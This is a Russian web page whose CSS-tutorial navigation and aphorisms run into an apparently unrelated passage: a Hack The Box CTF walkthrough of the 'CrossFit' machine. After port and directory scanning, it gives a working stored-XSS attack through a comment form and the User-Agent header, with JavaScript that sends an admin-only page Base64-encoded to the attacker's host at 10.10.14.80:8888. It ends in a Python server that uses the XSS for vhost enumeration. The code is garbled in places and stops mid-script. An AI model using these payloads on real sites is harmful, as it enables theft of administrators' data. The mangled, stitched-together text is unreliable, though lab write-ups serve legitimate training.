Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Адрес машины — 10.10.10.208, добавляем его в /
для удобства.
10.10.10.208 crossfit.htb
Сканируем порты. Я, как всегда, использую небольшой скрипт, который запускает Nmap в два этапа: быстрое общее сканирование и затем сканирование со скриптами на обнаруженных портах.
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Результат работы скриптаРезультат работы скрипта (продолжение)По результатам сканирования имеем три открытых порта:
На SSH нам ловить нечего, так как там можно разве что брутфорсить учетные данные, а это последнее дело. Куда интереснее наличие сертификата у службы FTP. Как учат все курсы разведки, из сертификата можно получить интересную информацию. У любого сертификата есть важное поле Common Name — доменное имя сервера, для которого действителен сертификат. В нашем случае это gym-club.
.
Найденное имя мы сразу добавляем в файл /
.
10.10.10.208 gym-club.crossfit.htb
Переходим к веб‑серверу. На 80-м порте по адресу http://
нас встречает стартовая страница Apache. А вот по найденному в сертификате домену http://
открывается сайт тренажерного зала.
Одно из первых действий при пентестинге веб‑приложения — это сканирование сайта на наличие интересных каталогов и файлов. Я обычно беру для этого утилиту gobuster. При запуске используем следующие параметры:
dir
— сканирование директорий и файлов;-k
— не проверять SSL-сертификат;-t []
— количество потоков;-u []
— URL-адрес для сканирования;-x []
— интересующие расширения файлов, перечисленные через запятую;-w []
— словарь для перебора;--timeout []
— время ожидания ответа.
gobuster dir -t 128 -uhttp://crossfit.htb/-w/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -xhtml,php --timeout 30s
Обнаруженные подкаталоги и файлы на http://crossfit.htb
gobuster dir -t 128 -uhttp://gym-club.crossfit.htb/-w/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -xhtml,php --timeout 30s
Обнаруженные подкаталоги и файлы на http://gym-club.crossfit.htbПо результатам сканирования можно сказать, что http://
интереса больше не представляет. На http://
есть интересный каталог с вызывающим названием security_threat
. В нем — единственный файл, при обращении к которому получаем сообщение, что доступ к информации ограничен.
Пока ничего существенного мы не нашли, но все же получили дополнительную информацию.
При осмотре сайта находим форму отправки комментариев, которые могут быть подвержены XSS. Вот только ответ мы не видим, поэтому нужно выполнить отстук на свой хост. Для этого откроем порт с помощью простого веб‑сервера на Python, чтобы мы могли отлавливать все обращения.
sudo python3 -m http.server 80
И, когда все готово, отправим нагрузку, которая должна загрузить удаленный скрипт на JS.
<script src="http://[локальный IP адрес]/>script>
Тестовая нагрузка в поле комментарияВ качестве ответа на такой комментарий получаем сообщение об обнаруженной и заблокированной атаке XSS!
Здесь сказано, что наш IP-адрес и информация о браузере будут предоставлены администратору ресурса. Прекрасно! Значит, мы можем попробовать выполнить XSS, но уже для администратора.
На источник IP мы повлиять не можем, а вот информацию о браузере сервис узнает из заголовка User-Agent
протокола HTTP. Значение этого заголовка мы можем подменить хоть в самом браузере, хоть в специальных приложениях вроде Burp.
Стоит помнить, что сообщение будет доставлено только в случае детекта XSS. То есть нужно отправить нагрузку и в поле комментария, и в заголовке User-Agent
. Я открыл порт 8888 и заменил значение заголовка при помощи Burp. После отправки запроса получаем отклик в логах нашего веб‑сервера.
Это значит, что мы можем выполнить загрузку удаленного скрипта на JS и эксплуатировать XSS.
Теперь нужно определиться с вектором атаки. Помнишь страницу с ограничением доступа? От имени администратора мы наверняка сможем ее посмотреть, а XSS поможет нам в этом. Код страницы мы получим, используя методы open
и send
объекта XMLHttpRequest
.
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send();
Код запрошенной страницы здесь сохраняется в переменной xhr.
, и его еще нужно передать на наш сервер, чтобы он отобразился в логах. Значение для сохранения целостности сначала закодируем в Base64, чтобы непечатаемые символы нам не помешали. В качестве триггера для отправки будем использовать метод onload
объекта XMLHttpRequest
. Полный код выглядит следующим образом.
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://gym-club.crossfit.htb/security_threat/report.php', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onload = function () {
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.14.80:8888/?code=' + btoa(xhr.responseText), true);
request.send();
};
xhr.send();
Сохраняем его в файл (у меня evil.
) в директории запущенного веб‑сервера. После чего повторяем запрос с известной нагрузкой в заголовке User-Agent
, но уже указываем для загрузки скрипта свой файл.
<script src="http://10.10.14.80:8888/evil.js">script>
В логах веб‑сервера получаем информацию: сначала о загрузке скрипта, а потом обращение к вымышленной странице. В качестве аргумента приходят данные в кодировке Base64, декодируем их.
К сожалению, ничего интересного мы не получаем, так что в этом месте мне пришлось крепко задуматься о том, как развивать атаку дальше. В голову пришла идея проверить доступные с localhost виртуальные хосты. Сканер для этого придется реализовать самостоятельно.
Идея состоит в том, что мы будем провоцировать удаленный хост снова и снова загружать скрипт на JS с нашего локального сервера, но только каждый раз мы будем возвращать такой скрипт, который вместо страницы http://
будет запрашивать корневую страницу на разных поддоменах http://[
.
Программировать будем на питоне. Нам нужно проверять код ответа — если он равен 200, значит, виртуальный хост существует.
Сначала пишем стандартную «базу» для сервера.
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
import requests
def run(server_class=HTTPServer, handler_class=EvilServer, port=8888):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
request()
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
if __name__ == '__main__':
run()
Чтобы избежать кеширования файла при многократном запросе, будем вести счетчик vhost_number
и каждый раз менять имя файла со скриптом на JS. В качестве словаря используем namelist.txt из набора SecLists.
vhost_number = 0;with open("/usr/share/seclists/Discovery/DNS/namelist.txt", "r") as f:
global vhostsvhosts = f.read().split('n')[:-1]
Теперь реализуем функцию первоначальной отправки комментария, которая будет отсылать нагрузку.
def request():
headers = {'User-Agent':'<script src="http://10.10.14.80:8888/evil'+str(vhost_number)+'.js">script>', 'Referer':'http://gym-club.crossfit.htb/blog-single.php'}
data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888','message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.js%22%3E%3C%2Fscript%3E','submit':'submit'}
requests.post("http://gym-club.crossfit.htb/blog-single.php",data=data,headers=headers)
|
|